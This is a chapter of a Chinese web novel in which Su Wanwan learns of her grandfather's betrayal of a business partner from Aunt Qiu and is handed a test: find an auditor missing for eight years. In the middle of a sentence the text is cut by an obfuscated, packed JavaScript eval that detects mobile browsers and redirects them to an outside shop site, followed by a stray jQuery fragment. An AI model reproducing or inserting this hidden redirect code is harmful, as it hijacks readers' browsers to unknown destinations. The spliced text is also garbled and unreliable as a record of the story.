苏晚晚到“隐”的时候，秋姨已经在茶桌前坐着了。
下午两点的阳光从竹帘的缝隙里挤进来，在桌面上切出一道一道平行的亮线。茶壶里的水已经烧开了，蒸汽从壶嘴升起来，在半空中散成一缕若有若无的白雾。秋姨没看她，低头把茶叶从锡罐里拨进茶则，动作很慢，像在做一件需要全神贯注的事。
“坐。”
苏晚晚在对面坐下来，把帆布包放在脚边。秋姨把茶则里的茶叶倒进盖碗，注水，洗茶，醒茶，出汤——动作连贯，没有多余的手势。水声在安静的茶室里很清晰，像某种有节奏的呼吸。她做完这一套，抬起眼皮看了苏晚晚一眼，目光在她脸上停了两秒钟，像在确认什么东西，然后收回，把茶汤分到杯子里，推过来。
“你父亲那封信，看完了？”
“看完了。”
“有什么想问的？”
苏晚晚端起茶杯，没有喝，两只手捧着，感受杯壁的温度透过瓷面一点一点地渗进掌心。她沉默了很久，久到茶水表面的热气散了大半。
“我爸说的‘对不起人的事’，是什么？”
秋姨没有立刻回答。她端起自己的茶杯，喝了一口，然后放下来，手指在杯沿上停留了一会儿，像是在数杯沿的厚度。
“你爷爷那一辈，”她顿了一下，“有三个合伙人。一家姓赵，一家姓陈，一家姓傅。”
傅。苏晚晚的手指在杯壁上收紧了一下。
“你爷爷负责对外的生意，陈家管账，赵家管运输。”秋姨的语气很平，像是在讲一件跟她无关的事，“后来有一批货出了事，赔得很大。你爷爷把责任推到了陈家头上。陈家唯一的儿子，坐了十二年牢。”
她停了一下，目光垂落在杯沿上，像在看一段很远的距离。苏晚晚没有开口，等着她把那段距离走完。
“你爷爷和你爸都去找过他。你爷爷去，他没开门。你爸去，他在门口站了很久，也没开。最后一次，你爸坐在他家门口，从下午坐到天亮。天亮的时候，门开了条缝。”秋姨说到这里，端起茶杯又喝了一口，放下，杯底碰到桌面，发出一声极轻的响，“老赵说了一句话——‘十二年，你坐一个试试？’”
苏晚晚的呼吸轻了一瞬。她低下头，看着杯中琥珀色的茶汤，水面映着自己的脸，被光线扭曲成一个模糊的椭圆形。
“那个陈家的人，现在在哪？”
“你已经见过了。”秋姨看着她，“老赵。”
苏晚晚猛地抬头。秋姨的表情没有变化，端起茶杯又喝了一口，放下。
“那十二年出来以后，陈家的人改了姓，没再碰过这一行。你爷爷临终前托我找到他，把一笔钱还给他。他没要。”秋姨的目光落在桌面那几道平行的亮线上，像在看一段早已结束的往事，“他说，钱能还，那十二年能还吗？”
茶室的空气凝住了。桌面上那几道光亮没动，像被钉在原处。苏晚晚握着那杯茶，指尖的温度一点一点地降下去，指腹压在杯沿上，压久了，瓷面终于和体温贴成同一个温度。她想起父亲信上那行字——“你爷爷那辈做过对不起人的事。”那行字写得用力均匀，没有迟疑。她那时候以为那是指生意场上的失误，没想到是这样。
“老赵愿意帮我的忙，是因为我爸的那句‘对不起’吗？”
秋姨点了点头。
苏晚晚没有接话。她把杯子放下来，用拇指轻轻按了一下无名指内侧那道疤痕——那道银白色的凸起在指腹下微微隆起，像一枚埋得太浅的钉子，还没被时间完全磨平。她按了一下，松开，然后把双手交叠放在膝盖上，抬眼看着秋姨。
“秋姨，你今天叫我来，不只是为了告诉我这件事吧？”
秋姨嘴角动了一下，是她那种极淡的、几乎看不出弧度的笑。她把茶壶里的水倒掉，重新烧了一壶，等水开的间隙从茶几下抽出一个牛皮纸文件夹，放在桌上，没有推过去，只搁在桌面正中间。
“青云会入会之前，有一道考题。”她说，“每一个想进来的人，都要答。”
苏晚晚看着那个文件夹，没有伸手去拿。
“什么题？”
秋姨把新烧的水注进盖碗里，茶叶在水流中翻涌了几下，然后慢慢舒展开来。茶香在房间里缓缓地弥漫开，是那种清冽的、带一点矿石气息的兰花香。
“去茶山收一批原料。”秋姨说，“不是买茶。是收‘线索’。找一个八年前失踪的人，他最后一次出现，是在你老家那片茶山里。”
苏晚晚的目光从文件夹上移到秋姨脸上。
“什么人？”
“一个审计师。”秋姨说，“傅氏财团前财务部的副总监。八年前，他在准备一份关于傅氏税务问题的内部报告之前，失踪了。”
秋姨没有再往下说。她把泡好的茶又推了一杯过来，然后自己端起第一杯，小口地喝了一下，放下。
苏晚晚伸手拿起那个文件夹，打开。里面只有一页纸——一张A4打印的照片，一个四十来岁的男人，瘦削，戴眼镜，下巴有一颗黑痣。照片的边角已经磨得发毛，像是被人反复拿出来看过很多次。她把照片举到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741877|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
窗边的光线下看了一下，那人的眼神透过镜片看着镜头外的某个方向，没有笑，也没有紧张，像一个已经准备好消失的人。
她把照片放回文件夹里，合上，搁在手边。
“这张照片我收走了。”
秋姨没有阻止她，只是伸手从茶几下又拿出一样东西——一把黄铜钥匙，老式的，钥匙柄上拴着一根黑色的细绳，绳子的末端已经被磨得发毛了。
“老寨村三组，靠山脚有一栋木屋。那是他最后住过的地方。”秋姨把钥匙放在桌上，推到苏晚晚面前，“还剩下四十六天。”
苏晚晚拿起那把钥匙。黄铜的，沉甸甸的，表面被磨得发亮，像被很多只手握过。钥匙的重量比预想中沉，铁皮的冰凉从掌心渗进指缝根处，像握住了一段还没有结束的时间。她把钥匙攥在掌心里，金属的温度贴着掌纹一点一点地渗进去，她翻过钥匙，指腹在钥匙柄内侧摸到一处微微的凹陷——像是被谁用手指反复按压过，压久了，金属也凹下去一点。
“秋姨，你明知道我现在手上没有多少时间，也没有多少人手。”
“所以才叫考题。”秋姨端起茶壶又续了一杯，“青云会只收能把一根头发撑成一把伞的人。”
苏晚晚没有接话。她把钥匙放进口袋里，站起来，拿起那个文件夹。走到门口的时候，秋姨的声音从背后传来。
“对了。”
苏晚晚停住脚步。
“那个审计师的妻子，三年前去世了。”秋姨说，“他有个女儿，失踪那年才五岁。后来被送进了福利院。去年，有人把她领走了。”
苏晚晚转过身来。秋姨坐在茶桌后面，阳光从她身后的竹帘缝隙里透进来，在她身体周围镶了一圈极细的亮边。她的表情被逆光遮住，看不清。
“谁领走的？”
秋姨没有回答。她只端起茶杯，喝了一口，然后把杯子放回桌上，杯底碰到桌面，发出一声极轻的响，像一颗棋子落了地。
苏晚晚站在门口，没有立刻走。那声响在安静的茶室里回荡了一下，然后消融在轻微的、风穿过竹帘的窸窣声里。她低头看了一眼自己握着门把的手——指节泛白，虎口处的皮肤被金属边缘硌出一道浅浅的白印。
她松开手，拉开门，走出茶室。
门外的光一下子涌上来，把她脚下那道影子拉得很长，一直延伸到走廊尽头拐角处的暗影里。她没回头，朝影子的方向走去。帆布包里的钥匙随着步伐轻轻晃了一下，碰到文件夹的铁夹子，发出一声极轻的金属碰撞声，像一枚硬币落了袋。